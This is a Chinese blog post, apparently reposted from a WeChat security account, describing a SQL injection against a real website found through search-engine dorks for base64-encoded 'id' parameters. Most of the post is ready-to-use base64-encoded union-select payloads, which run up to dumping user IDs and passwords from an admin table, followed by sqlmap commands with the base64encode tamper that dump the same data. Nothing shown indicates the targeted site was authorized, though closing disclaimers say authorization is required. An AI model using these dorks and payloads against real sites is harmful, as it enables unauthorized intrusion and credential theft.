前言:这年头想找个sql注入漏洞是真不容易,经过两天的不懈努力,还是发现了漏网之鱼。
一、资产搜集
我们都知道sql注入的传参有些是明文的,有些是经过编码或者加密的,所以我们搜索的时候不要仅限于inurl:.php?id=1,可以额外的尝试搜搜1的base64编码值MQ==,即可以搜索inurl:.php?id=MQ==,或者搜索1的md5加密值,即可以搜索inrul:.php?id=a0b923820dcc509a。这样子搜索完,我们可测试的范围就扩大了。此处我就是利用inurl:.php?id=MQ==搜索到了一处存在sql注入的网站。
二、开始sql注入常规流程
(1)判断字符型还是数字型
?id=MQ== (原始值为1)
?id=MeKAmQ== (原始值为1')
从这两者的反应可以判断出是数字型。
(2)判断是否存在sql注入漏洞
?id=MSBhbmQgMT0x (原始值1 and 1=1)
?id=MSBhbmQgMT0y (原始值1 and 1=2)
可以判断出存在sql注入。
(3)判断列数
?id=MSBvcmRlciBieSAz (原始值1 order by 3)
?id=MSBvcmRlciBieSA0 (原始值1 order by 4)
列数为3。
(4)判断显错位。
?id=LTEgdW5pb24gc2VsZWN0IDEsMiwz (原始值-1 union select 1,2,3)
显错位为2和3。
(5)获取当前数据库
?id=LTEgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwz (原始值-1 union select 1,database(),3)
(6)获取当前数据库中的表
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgp
(7)获取其中admin表的字段值。
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9ImFkbWluIg==
(8)获取对应的值。
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJfaWQpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSBhZG1pbg==
三、sqlmap验证
由于传参是需要进行base64编码的,所以在使用sqlmap的时候需要用到tamper脚本中的base64encode.py脚本,只需要在常规的语句中机上—tamper base64encode.py即可。
python sqlmap.py -u xxxxxx?id=MQ== --tamper base64encode.py --dbs
python sqlmap.py -u xxxxx?id=MQ== --tamper base64encode.py -D knotwebdb --tables
python sqlmap.py -u xxxx?id=MQ== --tamper base64encode.py -D knotwebdb -T admin --columns
python sqlmap.py -u xxxxx?id=MQ== --tamper base64encode.py -D knotwebdb -T admin -C "user_id,password" --dump
总结:测试sql注入的时候不要只局限于明文传输,也要注意编码或者加密后的值。
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):漏洞挖掘 | SQL注入实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论